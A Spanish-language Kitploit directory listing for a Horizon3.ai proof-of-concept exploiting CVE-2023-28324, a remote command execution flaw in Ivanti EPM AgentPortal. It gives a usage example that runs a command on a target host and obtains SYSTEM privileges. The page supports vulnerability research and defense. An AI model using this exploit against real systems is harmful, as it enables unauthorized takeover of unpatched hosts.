Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-28324 — Vulnerabilidad RCE en Ivanti EPM AgentPortal | Kitploit
Herramientas/GitHubGitHub/horizon3ai/cve-2023-28324
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubhorizon3ai/cve-2023-28324

CVE-2023-28324

Vulnerabilidad RCE en Ivanti EPM AgentPortal

Ver Repositorio
20631hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-28324

POC para CVE-2023-28324 que afecta a Ivanti EPM.

Análisis técnico

Puede encontrar un análisis técnico de la causa raíz de la vulnerabilidad en nuestro blog: https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-28324-deep-dive/

Resumen

Este POC explota una vulnerabilidad en AgentPortal.exe para ejecutar comandos arbitrarios. Para que este POC funcione, debe proporcionar sus propias referencias a AgentPortal.exe y APCommon.dll de una instalación de Ivanti EPM.

Uso

root@kitploit:~
CVE-2023-28324.exe 192.168.1.21 49668 whoami.exe
Sending request.
Request result: True
Waiting for result.
Waiting for result.
Result: nt authority\system

Siga al equipo de ataque de Horizon3.ai en Twitter para conocer las últimas investigaciones de seguridad:

Descargar herramienta
  • Equipo de ataque Horizon3
  • James Horseman
  • Zach Hanley

Aviso legal

Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas eficaces, y no está destinado a utilizarse para atacar sistemas salvo autorización expresa. Los mantenedores del proyecto no son responsables del uso indebido del software. Úselo con responsabilidad.